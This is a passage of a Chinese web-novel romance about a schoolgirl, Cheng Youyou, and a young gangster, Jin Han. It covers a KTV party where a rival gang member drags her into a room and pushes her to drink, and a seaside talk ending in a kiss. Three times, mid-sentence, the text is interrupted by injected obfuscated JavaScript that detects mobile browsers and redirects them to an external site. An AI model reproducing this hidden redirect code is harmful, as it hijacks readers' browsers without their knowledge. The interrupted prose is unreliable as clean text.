只要一停下来,心脏就抖得厉害。 满脑子都是程幼幼捂住嘴巴边哭边咳嗽得委屈又可怜的模样。 他还必须忍着。 这种感觉真是要了命了。 恨不得立马飞到她身边。 白菀从后面揽住靳寒的肩,柔声说道:“阿寒,我送你回家吧。” 像是自作主张惯了,她竟然将手伸进他的裤兜里找房门钥匙。 刚进去一半就被靳寒摁住,撇了出去。 靳寒连看她一眼都不曾,摇摇晃晃地朝家的方向走。 白菀手一顿,盯着他的背影苦涩一笑。 回到家,靳寒匆匆洗了个热水澡就上床睡觉了。 手机信息响个不停,他费力地掀起眼皮找手机,开静音后丢在桌上,才又去睡。 可这一晚注定睡不好。 凌晨三点左右他就被噩梦惊醒了。 醒来时浑身冷得厉害,光洁的额头布满密密麻麻的汗珠,他喘着粗气坐在床边,随意抹了把冷汗。 起身走进浴室,打开洗手台水龙头,掬起一捧凉水朝脸上扑,意识逐渐清明,又走到阳台抽了根烟,吹了会风。 屋里没开灯,他不喜欢开灯。 他注定是要留在黑暗里的,包括他此时此刻的心绪。 靳寒抽着烟,默默地回想刚才做的梦。 他梦见程幼幼被他们折磨,而自己站在一旁冷冷地看着。 她带着哭腔,软软地喊自己名字,“靳寒…” 心明明痛得一窒,可梦里的自己却笑着说:“继续,我不喊停不准停。” 视野拉近,镜头画面一转,自己的脸渐渐逐渐变成荣敏的脸,狰狞可怖。 手机在震动。 靳寒侧颌,按了按眉心,走过去接起电话。 “什么事?” “寒哥,我在档口。”电话那头沉默几秒,阿成才说:“大飞带着人来了,说是要见你。” 靳寒还沉浸在某种低迷的恍惚中,沉吟片刻,重复了一遍:“哪个大飞?” “就是通宝的大飞,之前他们不止一次踩过线,这回连他们大佬也来了。” “我这就来。” “等等寒哥…礼哥也在。” 阿成站在吧台工作间里,透过门缝瞥向大厅。 大厅内人头攒动,中间一条尤为明显的分界线隔开两波对立的人,凶神恶煞,剑拔弩张。 “好。” 挂断电话,靳寒熟练地套上衣服,揣着打火机和烟就出了门。 没有选择开车,下了楼梯走进这排房子背面的小巷,道路窄小,恶臭刺鼻。 就算是白天,这条巷子也是阴暗潮湿的,透不进一星点光亮。 不分昼夜,似乎没有尽头。 * 章末测试。 下午五点,余辉斜斜地洒进教室,烘托出梦境般的黄。 程幼幼的笔尖长久地停留在题目上的某个点。 下列关于氨基酸和蛋白质的叙述,正确的是:A.两个氨基酸脱水缩合过程中失去的H2O中的氢来源于…… 那次过后,已经是第几天没见到他了。 或许未来可能也不会再见面。 他是真的很讨厌自己吧,从一开始就是这样的。 “啪嗒”——是老师的手机落在铁制讲台桌上的声音。 幼幼眸色闪烁,勉强被拉回思绪。 她轻舒一口气,强迫自己集中注意力,继续默读题目。 B.如果有足量的三种氨基酸甲、乙、丙,则他们能形成的三肽种类最多有6种…… 读到某个选项,下方有张示意图,她看着看着,脑海中忽然浮现出白菀那张妩媚轻熟的脸。 她的笑,她身上幽雅的香味,还有她,挽着靳寒的手。 …… 程幼幼就这么一边做题一边出神,身边的同学陆陆续续响起翻页声,而她还在写填空题。 巡视的生物老师是实习生,人很好说话,平时对程幼幼这种尖子生也有所耳闻。无意间瞄到她的试卷,温柔地提醒:“幼幼,不要走神哦。” 老师看眼腕表:“还剩四十分钟了。” 闻言,周围一圈同学觉得新奇,纷纷侧目。 幼幼脸一窘,她连忙换了个姿势坐好,强迫自己甩掉脑中杂七杂八的东西,专心做题。 事实证明,被老师“批评”一下的效果还是很不错的。 很快,她就找回状态,在最后五分钟把试卷写完了。 晚上吃饭,丁钰湘狐疑地睨着幼幼:“你这几天很奇怪,特别奇怪,情绪低沉,感觉心事重重的样子。” 幼幼抿抿唇,筷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15150300|164841||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子扒拉着碗里的饭,很平静地说:“没有啊。” “还没有?”丁钰湘提高音量:“你到现在都没认真听我讲话。” 手一顿,她抬起头,脸上情绪未变,“噢,可能是…有点吧。” 一个谈不上朋友,勉强算得上前债主,甚至可以说毫不相干的人,真的占据她太多思绪。 对靳寒的感觉更像是一根利刺,坚.挺地抵住她的喉咙,使她不敢说出口。 但那如小鹿乱撞的蓬勃心跳,又在疯狂暗示自己,她无法回避这种感觉。 大概是每个青春期的少女都有的苦恼,程幼幼迷茫地思考: 这份苦恼,是不是来的太早了些。 “幼幼。”钰湘试探道:“你该不会是有暗恋的人了吧?” “没有。” 她矢口否认,垂着眼眸掩饰自己不自然的神情。 紧捏筷子的指尖发白,僵硬,机械地往嘴里送饭,味同嚼蜡。 从那个地下酒吧出来后,她回家哭了一场,之后郑重地告诫自己,不要一错再错。 丁钰湘定定地看着她,半晌后似是想通了,撇嘴道:“也是,班里男生一大半都喜欢你,你哪用得着暗恋谁啊。” “……” “钰湘!” 幼幼脸一红,又环顾四周,看有没有被其他同学听到。 * 高一在不知不觉中接近尾声,日子充实而快乐。 期末考试幼幼稳定发挥,考了班上第一名,年级前十名。 程业民对这个成绩很满意,奖励了幼幼两百元,当然,程信朋没有。 “考两三百分你还好意思回来!你老师跟我讲你逃课,上课不认真,作业不写考试睡觉,啊程信朋,你到底想怎么样啊?吃我的肉喝我的血还不认真读书!考不上大学你以后只能去捡破烂!” 燕姨一手拿着成绩单,一手拿着鸡毛掸子,吼到气不过时便狠狠朝地上跪着的人身上抽。 程信朋疼得呲牙咧嘴,哀嚎道:“嘶…那我就是对读书没兴趣啊!谁说不上大学就要捡破烂,你们不也没读过吗…别打了别打了妈,痛死我了!” “你还敢顶嘴?”燕姨瞪着眼,脸上的肉纵横交错,“我看你别读书了,明天就出去打工!” “去就去,我早不想读了!” 听见这话,燕姨差点没背过去。 …… 假期第一天,就在燕姨的怒骂声和程信朋的嚎叫中度过。 持续了不知多久。 写完作业,不知燕姨还在不在,幼幼蹑手蹑脚地下楼,生怕被注意到,触她霉头。 奇怪的是楼下一片宁静。 程信朋坐在客椅上检查手臂背后的伤势,幼幼一眼就看到,青一片紫一片的伤痕,触目惊心。 燕姨这次真下了狠手。 她有些后怕地咽咽口水。 “你傻了?看着干嘛,过来帮帮我啊!” 幼幼闷闷地哦,快步走过去,“…怎么帮。” “帮我擦一下药,背后的我自己擦不到。” “好。” 幼幼乖乖地坐在程信朋后面那张椅子上,拿起棉签,在药瓶里沾一下药水,再小心翼翼地擦在伤口上。 动作太轻柔,加之程信朋早痛到麻木了,所以根本没感觉到。 他疑惑问:“你在擦没?” “我在擦呀。” 幼幼尝试擦重一点,但刚用力的那瞬程信朋便猛地躲开,杀猪似得惨叫。 “我靠!想谋杀我直说!”他转过身瞪她,“你是不是故意的,刚刚没少偷瞄看戏吧?” “对不起,我没偷看...我刚刚在写作业。”末了,幼幼补上一句:“是真的。” “我被打你还写得进作业,你被打的时候我还拦着我妈呢,没良心!” “......” 这倒是真的。 可是我哪能拦得住燕姨,连多嘴的份都没有,幼幼在心里嘟囔。 程信朋顺势转身坐好,胳膊撑着膝盖,直勾勾地看着她,嘴角扬起一抹不易察觉的弧度。 幼幼迟疑道:“你,想要我干什么...你直说。” 上一秒还疼得哀天怨地,这一秒程信朋就露出得逞的笑容。 “下次大考,给我抄。” “......” 12. Chapter 12 榄洲临海,通常会比内陆地区天亮得早一些。 假期一到,程幼幼天不亮就得起床在早餐店忙活,刚开始几天还有些不适应,后来渐渐地就习惯了。 不忙的时候,燕姨会将店交给幼幼,自己去打麻将,忙的时候她就在煮锅前站着,其余的活都交给幼幼。 总的来说,燕姨是第二盼望放假的人,不仅不用承担两个人的生活费,还多一个免费劳动力。 程业民心疼幼幼,想让她多睡会儿,可以等到不忙的时候再下来收拾,但毫无例外地被拒绝了。 帮家里做点力所能及的事是应该的,正好她也没什么社交活动,闲着也是闲着。 正这么想着,程信朋就吊儿郎当地走到她面前,大腿靠着灶台边沿,眼睛盯着手机。 “韦钟豪明天生日请我们去唱歌,到时候一起走。” 语气就像通知她一声似的。 幼幼愣了下,手里活没停,发自内心祝福:“那你帮我祝他生日快乐吧,唱歌我就——” “你又不是没手机,你直接给他发消息说呗。”程信朋还没放弃撮合他俩。 “…我们又不熟,几乎没怎么聊过天的。”幼幼有点心虚。 其实韦钟豪经常给他发消息。 出于礼貌,她每条都回,但也仅限于回应他的某句话,简短敷衍。 渐渐的,韦钟豪给她发消息的频率低了不少。 “不熟处着处着就熟了呗,谁也不是一上来就熟的啊,反正你必须得去,不然他要撕了我,好就这样,我还有事。” 程信朋指尖在屏幕上敲得飞快,想来是约了朋友。 “诶等等等等哥。”幼幼为难道:“唱歌我就不去了……” 程信朋步子一顿,视线从屏幕上转移到她脸上。 “班上的同学基本上都要去,你就当是同学聚会呗。”见幼幼还是一副不情愿的模样,他补充:“丁钰湘也去。” 幼幼轻叹口气,没说去也没说不去。她向来脸皮薄,着实不会拒绝人,尤其还是过生日这种事。 这时,一旁手机响了下,是微信提示音。幼幼擦干手,点开一看,是韦钟豪发来的消息,邀请自己去他的生日聚会。 还配了张狗狗卖萌的表情包。 微微怔了一秒。 程信朋看着她脸上的表情变化,大概猜了出来消息是谁发的,凭借对程幼幼的了解,他不自觉翘起嘴角。 再怎么样也是同学,幼幼不忍心拒绝,答应了。 大功告成! 程信朋拍拍掌。 “哦对了,你给人家准备个礼物。”走之前,程信朋提醒道。 “嗯。”幼幼点点头,“我待会忙完就去买。” 刚好自己身上有钱。 “不愧是我的好妹妹,就是善良大方。”程信朋无比自然地说最无耻的话:“顺便把我的那份也买了。” 幼幼蹙眉,坚决拒绝:“不要,你自己买。” “我最近真没钱了,你没发现我放学都很少逛夜市了吗…”程信朋哀怨不断,愤愤道:“都他妈怪那游戏厅,之前说让免费玩,后来不知道怎么回事就不准我进去了,他们都准进就我不准,妈的给钱都不行,我只好换一家,好家伙,嘎嘎费钱啊。” “……” 程信朋又继续嘀嘀咕咕抱怨一大堆,幼幼的意识在听到某个字眼时逐渐涣散,后面的话一句也没听进去。 回过神,程信朋已经出门了。 过去长期在心底摇摆不定的事,似乎隐隐有了确切答案。 他大概是真的…… 很讨厌自己。 麻烦精。 都过去这么久了,期间又从未见面,估计已经忘记她了吧。 * 翌日傍晚。 西边最后一抹晚霞融进冥冥的暮色中,落日的黄厚厚地盖在破破烂烂的筒子楼上。 天气仍然炎热,程幼幼吃过晚饭发了场薄汗。 纠结再三,她从衣柜里找出一件干净的香芋紫连衣裙,将扎着的头发披在肩,收拾好后,跟程信朋一起前往KTV。 十几分钟后,他们来到一家KTV门口。幼幼环顾四周,这条街基本都是KTV,往来的路人大都是社会人士,没看见学生。 幼幼有些拘谨,紧紧地跟在程信朋身后。 进入KTV,一股浓浓的土气扑面而来,过道阴暗,隔段距离有一盏闪着的灯,忽明忽灭,装修金碧辉煌,墙纸刻着銮金花纹。 长这么大,这是幼幼第一次来KTV,东张西望,不知所措,反观程信朋表现得淡然自若,一副熟门熟路的样子。 刚准备进包厢就跟出来的韦钟豪撞上,后者先是一愣,紧接着说:“我正说去门口接你们呢。” 程信朋跟韦钟豪平时厮混多了,拍了拍肩膀便率先进去,留在程幼幼一个人在原地略显尴尬。 “韦钟豪,祝你生日快乐。” 半晌,幼幼真挚笑道。 幽暗的光线看不清此时韦钟豪紧张局促的神情,他红着脸支支吾吾应,紧接着拉开门示意她进去。 包厢很大,已经有人在唱歌了,沙发上坐着不少人。 “幼幼!” 耳边忽然出现一道喊声,幼幼循声望去,看见丁钰湘朝她招手。 程幼幼在丁钰湘旁边坐下。 从程幼幼朝这走来时,丁钰湘便从上到下打量她一圈。 凝视那张不施粉黛,清秀白皙的脸,丁钰湘既怅然又感慨:“还是你漂亮。” “...为什么这么说?” “你没发现有好几个人化妆了吗?还得是你,有颜任性,不化妆一样好看。” 程幼幼脸发烫,不知该说什么好,淡淡笑了下以示回应。 之后的流程就是大家一齐祝韦钟豪生日快乐,陆陆续续有人送礼物,服务员端来果盘啤酒,大家唱歌的唱歌,玩游戏的玩游戏。 幼幼喜欢听歌,写作业时也会哼唱,但从未在人前唱过。 今天这么多人,更加不可能唱,所以她便一直玩手机。 韦钟豪时不时就朝程幼幼那看一眼。 这一幕被程信朋尽收眼底,哼笑了下,“我费劲巴拉把人给你带来,结果你话都不敢跟她说。” “你懂个屁,幼幼比较特别,我要好好想想应该怎么主动比较好。” “怪不得你喜欢我妹那么久都没追上了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15150301|164841||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。”程信朋满脸嫌弃,以过来人的口气道:“这有什么好想的??” 韦钟豪一脸懵逼地看着他。 程信朋叹口气,“我问你,我妹现在在干嘛。” “...在看手机,偶尔还在吃水果。” “嗯,她为什么不喝水呢,是因为不想吗?” “废话!她肯定是——” 话到嘴边,韦钟豪却噎住了。 他后知后觉地反应过来,视线缓慢地对上程信朋的眼睛,露出会心一笑。 须臾,服务员搬来一箱果汁和一箱饮料。 之后的时间,程幼幼边喝果汁边跟丁钰湘聊天,韦钟豪在旁边几乎插不进话。 没一会儿,果汁喝太多,幼幼便想去洗手间上厕所。 走出包厢,空气清新不少,她依照头顶上方的指示牌走。 去洗手间的路宛如回形迷宫,拐过三道弯还没到,幼幼步伐减慢,怀疑自己是不是走错了。 刚转身准备往回走,谁知临近的包厢门忽然打开,刚好挡住了她。 幼幼想绕过包厢门离开,这时前方突然传来一道男声,开头就是“靳寒”两字。 她怔愣住,迈出的脚收回,停在原地。 “靳寒这几天都在夜.总会陪那几位,多半是上次尝到甜头,敏哥干脆把这块都交给他了,听说这个月底还有一次,妈的,搭上政.府不知道能搞多少,说起来我们还一次都没接触过。” 陈礼冷嘲一笑,指尖夹着的烟垂于腰侧,烟雾顺着手臂萦绕。 “你意思照这样下去,我他妈见他都得叫一声寒哥,是不是?” 男人脸色瞬间变得难看起来,连连否认。 “你们不用藏着掖着,我看得出敏哥有意推他当接班人,他自己无儿无女,可不就把靳寒那毛头小子当儿子看?” 陈礼眯着眼深吸口烟,啐了句脏话,随手将门关上。 程幼幼紧紧地贴着墙面,眼睑低垂,手心发紧,一动不敢动。 陈礼一侧首便看见旁边不知什么时候站了个人,旁边另一个男人也注意到了。 偷听的? 气氛顿时有些凝固。 过道光线昏暗至极,但还是辨得清人,尤其是......这么乖的小姑娘。 陈礼明显怔了两秒,随即恢复正常。嘴角噙着笑意,不怀好意的目光打量她:“哟,阿寒的小情人。” “又来找他?” “...我、我不认识你。” 幼幼慌神,想从他身边绕开,不料被一股强劲的力量桎梏住手腕。 她大惊失色,吓得叫了一声。 “嘘——”陈礼冷着脸,“别吵,不然我不敢保证在这里不对你做什么。” 幼幼卯足力想挣脱,可就是甩不掉,手腕处红了大片,火辣辣的。 现在不是以前。 没有人会在危险关头帮她了。 她越想,心里就越恐慌。 “礼哥,敏哥交代过这个女的不能......” 男人话未说完,便被陈礼一记淬满寒意的锋利眼神扼制住,咽了回去。 陈礼不屑嗤笑,“我倒要看看靳寒有多宝贝这女的。” 13. Chapter 13 在绝对的力量压制下,陈礼不费吹灰之力便将程幼幼拖进了一个VIP包厢。 关门时,刚好一个服务员路过,幼幼见状大喊救命,没想服务员恍若未闻,连看都没看一眼就走了。 陈礼一把将包厢门关上。 双肘撑地被拖行一米多,粗粝毛糙的地毯很快将她的肌肤磨破皮,幼幼疼得闷哼一声。 还没等站起,就听到头顶响起一道戏虐男声:“啧,这里什么时候还有这种风格的小姐了?礼哥你点的?” 陈礼一言不发回到座位上,全程动作丝毫不拖泥带水,就像对待一件物什。 幼幼闭了闭眼,呼吸颤抖着,狼狈地翻了个身从地上站起来。 视野忽地扩大,这间包厢构造跟韦钟豪开的那间完全不同,有吧台,有台球桌,几张沙发错落有致,撑环形状,大得不是一点。 她扫视一圈沙发上坐着的男男女女,无一不打量着她,眼神里的好奇、调谑掩盖不住。 她下意识后退,一直退到门板上,眼神惊惶失措,不知看向哪里。 很快,还是有人认出她,“这不是寒哥的.....” 闻言,部分人脸色一变,战战兢兢地瞥向陈礼。 “怎么,阿寒不是说没兴趣了?”陈礼边喝酒边睨程幼幼,“连他靳寒不要的女人我都不能碰?” “不是不是......”说话的男人立马回道。 陈礼眼中的阴狠愈发深重。 幼幼双手靠背摸索到门把,使出劲往外推,打不开。 她深呼吸一口气,竭力维持平静,对陈礼说:“请问,我要怎么做才能放我走?” 说话的声音带着颤。 话音刚落,包厢内响起一片轰轰炸炸的呼声。 没人能想到这个娇弱的小姑娘居然有胆子问出这句话。 其实,幼幼自己也想不到。 大概是这种情况已经经历过不止一次,胆子也练大了,她不禁苦笑。 “爽快,想走可以。”陈礼微抬下巴,努努嘴,“把桌上的酒喝完就放你走。” 陈礼放下翘起的二郎腿,自嘴边弥漫的烟雾朝上飘,他眯着眼,一手拿起透明玻璃杯,往里倒满洋酒,“哐当”一声,空酒瓶被重重磕在桌面。 已经有人拿出手机录像,脸上的兴奋抑制不住,都想看这场热闹。 幼幼迟迟没有动。 她从小有胃病,一滴酒都不能沾。 “酒没下药,你喝不喝?”陈礼沉下嗓音,略显不满。 幼幼微不可见地摇摇头,眼眸染上水雾,她最终还是露了怯。 陈礼轻笑出声。 “不会喝酒?” 她掐紧掌心,小声地“嗯”。 “三杯,喝完就放你走,我说到做到。” 包厢的频射灯忽明忽灭,一轮一轮扫过眼前这群人的脸庞,陌生,令她害怕。 陈礼悠闲躺在沙发上,上上下下地扫视程幼幼,就像在打量某样商品,毫无尊严可言。 正当幼幼束手无措,甚至准备认命时,身后的包厢门忽地开了。 门抵住后背将她朝里踉跄了几步。 幼幼微怔,没有及时转身,但抬眸望向陈礼的神色变化,她似乎能猜到是谁来了。 靳寒匆匆瞥一眼程幼幼,径直朝陈礼走,手比步伐更快一步,猛地扯住衣领将他提起来,面色阴沉暴戾,手背突起一条条青筋。 “你他妈对她做了什么?” 听见这道熟悉声音,这瞬间,幼幼几乎要哭出来。 “路上碰到了请来玩,喝点酒而已,你至于这样?” 陈礼脸色也不太好,一字一字地蹦出口:“你最好放开我。” “呵...”靳寒扯起唇角,眼皮凉薄阴鸷地阖上,熟悉他的人知道,这是靳寒失控时的反应。 “陈礼,如果再有下次被我发现你动她一根汗毛,我他妈绝对不会放过你。” 扯着衣领的手仍未松开。 “你现在什么意思?正式向我宣战,还是说不装了?” “随你他妈怎么想。”靳寒下颌绷紧,仿佛下一秒就会控制不住情绪爆发,“想干嘛冲我来,我有时间也有精力陪你慢慢玩。” 开着适宜冷气的包厢,温度似乎降到零下。 众人大气都不敢出。 靳寒很少表现出如此狠戾的模样,半晌,他松开手,拿起桌上那杯盈满的洋酒,轻抿一口,接着高举在陈礼的头顶上,倒扣。 洋酒哗啦啦地冲刷在陈礼头上,酒水顺着往下流,打湿了他的额发、衣服和裤子。 所有人倒吸一口凉气。 陈礼整个人都僵了。 “我不是说着玩。” 说完最后这句话,靳寒转过身,拉起幼幼的手离开了包厢。 * “这地方也是你能来的?” 出去后,靳寒冷着脸问她。 “不是..同学过生日。”幼幼忍下哭腔,声音小得如蚊子叫。 “你哪个同学过生日会来这种地方,叫什么名字?” 程幼幼没有立即回答,半晌后,抬起头,看向靳寒。 “我要是告诉你是谁,你是不是就不准他再来了?” 意识到她的意有所指。 靳寒一噎。 是了,他凭什么,又是站在什么立场去管她的事。 俩人一时静默无言。 某种压抑已久的委屈,后知后觉地涌上心头,幼幼嘴一瘪,呜呜咽咽地哭着。 “你...你为什么,总是,总是这样......” 在她以为他很讨厌自己时,又做出一些令人误会的举动,她搞不懂了。 靳寒发现,无论什么时候,他总是招架不住程幼幼的眼泪。 “别哭。”他的语气不自觉软下去,大掌抚上少女的脸庞,拇指轻轻擦过她眼角的泪。 “他碰你哪里没有?” “没有...就手。” 闻言,靳寒拉过她的手,她的手很小,他可以一整个握住,严丝密合。 腕骨是红的,胳膊肘还破了皮,看见这幕,靳寒脸色一黑。 怕吓到她,没再表现出来,而是淡淡问:“还痛不痛?” 刚问出口,瞬间就后悔了。 他不禁想起,他曾经说过多么伤害她的话,现在又怎么有脸关心她。 那段时间心痛得几近窒息,偏偏又什么都不敢做,怕伤害她,怕影响到她平静正常的生活。 这种进退两难的滋味不好受。 靳寒活了快二十年,第一次有这种深深的无力感。 幼幼摇摇头,“还好。” 靳寒薄唇抿成一条线,眼睑低垂,瞧不出情绪。 “手机带了吗?” “带了。” 不管他说什么,幼幼总是下意识照做,她从挎包里摸出手机。 “你同学生日聚会里有没有你关系好的人?” 幼幼没懂他想干嘛,吸了吸鼻子,乖巧点头,“有的。” “发消息报个平安,说你回家了。” “......?” 靳寒从兜里摸出车钥匙,在空中晃了晃,“带你去个地方。” * 十几分钟后,靳寒将程幼幼带到了海边。 微风拂过,海面泛起碎银般的粼粼波光,空气是咸湿的,混杂着新鲜的泥土气息。 跟KTV里难闻刺鼻的烟酒味天差地壤。 冰冰凉的海风扑在身上,沁入心脾,绷得发紧的神经渐渐松懈下来。 小时候经常来海边玩,跟程信朋一起赶海,收集贝壳,鼓捣一些新奇的海物。 长大后就很少来海边了。 上次来海边已记不清是什么时候...幼幼收回思绪,认真地看向身旁的靳寒。 注意到她在看自己,靳寒问:“饿不饿,要不要我叫人送点吃的过来。” “呃,不用——” “你等着。” 说完拨了个电话出去。 “......” 很快,胖子就拎着大袋小袋的食物来了。 应该已经听闻刚才KTV里发生了什么事,所以胖子这会看见程幼幼表现得并无异样。 “专门给阿...给程小姐买的芋泥奶茶,老板说了现在的小姑娘都爱喝。”胖子特狗腿地将奶茶递给程幼幼。 幼幼讪讪地接过奶茶,说了声谢谢。 靳寒望着平静的海面,沉沉道:“把吃的放地上吧。” “好嘞!”胖子还贴心地找了块很大的布铺在沙滩上,三两下收拾好就走了。 空气中飘着炸物味,孜然味,香气扑鼻,但幼幼没什么胃口。 之后很长的时间里,俩人坐在沙滩上,一边喝东西一边看海。 彼此都没主动开口说话。 最终还是程幼幼没忍住,问了出来:“刚才在KTV,你为什么会突然出现?” “有人给我发了消息,就来了。”靳寒不假思索地回答,语气很平淡。 幼幼深吸一口气,又继续问出藏在心底近一年的困惑。 “那之前...在地下酒吧那次,你是故意那样的?” 靳寒深深地睨了眼程幼幼,随后仰头喝了口酒。 他不吭声,她便继续说:“你怕我再靠近你,怕伤害我,所以就说狠话让我离你远远的......是不是?”她的眼眶发红。 幼幼不傻。 她其实早就想到这些,只不过过去有些摇摆不定,直到刚才在KTV里看见他才愈发肯定。 所以她想不通的其实是,靳寒为什么不大大方方地告诉自己,以及,藏在他身上的秘密。 “难道你不想?” “什么?” “离我远远的。” 靳寒苦涩地勾起唇角。漆黑额发遮盖眉眼,他半阖着,情绪隐入深邃幽寂的黑夜。 幼幼:“我不想。” 喝酒的动作一顿,靳寒扭头。 “靳寒...”幼幼喊他的名字,声音温软,眼巴巴地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15150302|164841||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 望着:“你到底是做什么的,能告诉我吗?” 靳寒轻嗤,懒懒地瞥她一眼:“我他妈做什么的,看不出来?” “那你会不会......” 她不敢说出那两个字。 “不被抓到就不会。”靳寒毫不避讳,反而还痞痞地笑,“你想去告发我?” 幼幼咬着唇,垂头,“不是,我不会...” 紧接着,她又问:“那如果被抓到,会,关多久?” 一问出口,她的心就悬到嗓子眼上,紧紧盯着靳寒,生怕听错一个字。 须臾,靳寒低沉着嗓音道:“哪有蹲监.狱这么便宜的事,被抓到就死.刑。” 程幼幼震惊地不知说什么。 如果被抓到,靳寒会死。 所以他是做了什么十恶不赦的事? “怕了?”靳寒凉凉勾唇:“你知不知道你有多幸运?” “......” 如果初次见面不是他在,程幼幼会遭遇什么事,他不敢想象。 但同样的,他也没想到会跟这个勾人的小姑娘发生这么多事。她会影响他的情绪,甚至,会影响他目前正做的事。 他不愿,却舍不掉。 靳寒有时候就在想,妈的,这该不会就是他升职路上的劫吧。 程幼幼不回答,圆溜溜的杏眼氤氲着雾气,就这么看着靳寒。 自从他说完“会死”,程幼幼就一直用这种眼神看着他,仿佛他下一秒真的会死。 “怎么不说话?”靳寒眉心微拧,大手抚上少女柔顺丝滑的头顶,“是不是在后怕呢,现在想离我远一点了?” 温柔咸咸的海风吹起幼幼的刘海,发丝擦过鼻尖,擦过眼皮,袖口飘着,静地像幅画。 靳寒轻轻地抚顺她的长发。 “你可不可以......” 幼幼抽噎了下,说不出来。 靳寒喉口一紧,干涩道:“可以什么?” 幼幼双手捂住脸,突然跪起,接着身子一软,靳寒顺势张开手,以环绕的姿态圈住她。 男人身上淡淡的烟草味包裹着幼幼,她小声啜泣,上半身倒在靳寒怀里,额头抵着他的肩。 靳寒抬手,迟疑了两秒,还是轻轻贴在幼幼的后背上。 一下一下地拍着,像哄小孩。 少女的身体又香又软,一折就断似的,靳寒动作轻得不能再轻,生怕碰坏了她。 “别哭了。” 他也不知该说什么,从小到大跟女生接触得不多,不知道说什么讨女孩子开心,但显然,“别哭”这俩字完全不管用,因为幼幼哭得更凶了。 “你可不可以...” 自小耳濡目染的道德教育,此刻统统被抛之脑后,她艰难地,违背原则地,说完这句话: “可不可以不要被抓到?” 靳寒身躯一僵。 他仿佛忘记了自己现在的处境,心底有道正义的呐喊在不停地鞭笞他。 “坏人会受到应有的惩罚,只是早晚的事。”他说。 宛如白藕的手臂环住他的脖子,抱紧着,幼幼嗓音破碎:“.....那你也会?” 靳寒淡淡地“嗯”一声。 身上背负着莫大的使命,他不可能会告诉程幼幼自己的真实身份。 因为他们在榄洲相遇,所以程幼幼认识的,注定是那个白天走夜路的靳寒。 “你不是在上学吗?你认真读书,别跟那群人再来往了好不好?” 幼幼望着靳寒,眼神里带着期盼:“以后就做个好人。” 明明是这么沉重的场景,靳寒却忍不住哼笑出声,置于腰间的指腹隔着层薄料细细摩挲着少女的软肉。 “小孩子。” 天真。 幼幼还哭着鼻子,脸一红,“为什么这么说?” “我能向你保证,我不会死,行不行?” 靳寒大掌揽上幼幼的后颈,往前压了压,俩人本就挨得很近,这下几乎鼻尖抵着鼻尖。 男人鼻息间喷薄的热气洒在她脸庞,痒痒的,宛如有根羽毛在心尖上挠。 靳寒稍稍使了点力将程幼幼抱在自己大腿上,腾空而起那瞬,幼幼忍不住惊呼,回过神时,才发现自己已经能跟他平视。 幼幼紧张得屏住呼吸,脸颊绯红。 她没挣脱,胆怯地闭上眼睛。 一只粗厚滚烫的大掌撑着她的后脑勺抚摸,发丝很快凌乱,彼此的呼吸也急速紊乱。 下一秒,一个湿软温热的唇,带着浓烈的侵略性,轻轻地贴上她的嘴角。 “我都跟你保证一件事了,你也要答应我一件事,好不好?” 靳寒嗓音喑哑不堪,眼眸混浊,像是在拼命压抑着某种情绪。 幼幼觉得,他的声音带着蛊。 甚至还没说出来,她就迫不及待地想要答应。 “你要好好读书,健康长大。” ...... “暂时...也或许是很长一段时间,我们先别联系了。” 14. Chapter 14 不远处,棕榈树叶扇动着,黑夜风影里掠出一只海鸟,扑动着硕大的翅膀,朝很远很远的海平线那头飞去。 几秒后,树影几欲静止。 幼幼从靳寒怀里起身,抬眸直视他的眼睛,“不联系,是什么意思?” 靳寒的双手还撑在她身上的,粗粝炙热的指腹摩擦着细嫩的耳后肌肤,所到之处颤栗一片。 他身上烟味很浓,奇怪的是幼幼不反感,反而闻着有股踏实感。 “不联系的意思是......”声音慢慢停滞,似是被少女可怜巴巴的模样刺激到了,他于心不忍,改了口:“就是我们不能再见面了。” 一颗圆滚滚的泪珠挂在睫毛上轻颤了下,她失落却抱有一丝希翼问:“那可以用手机联系吗?” 靳寒懒洋洋地勾了下唇,从地上拿起手机解锁,“那要不要加我微信。” 闻言,程幼幼稍稍在他身上坐板正了些,随意擦了把眼泪,径直夺过靳寒的手机,自己一手拿一部,三两下就将微信加好了。 看她加个微信都这么认真,靳寒一时忍俊不禁。 靳寒的微信头像色调灰暗,画面是黑夜里的背影,身旁有一盏幽幽的路灯。微信名是三个句号,没有发过朋友圈,乍一看像僵.尸号。 深深地睨了眼他的微信号,幼幼想了想还是没打备注。 “那以后我给你发消息的话,你会回是吗?” “怎么这么问?” 幼幼正对上他的目光,故作平静,“因为我感觉你平时,很忙。”以及你每天的生活,每天做的事,好像十分危险。 她怕他哪天出事。 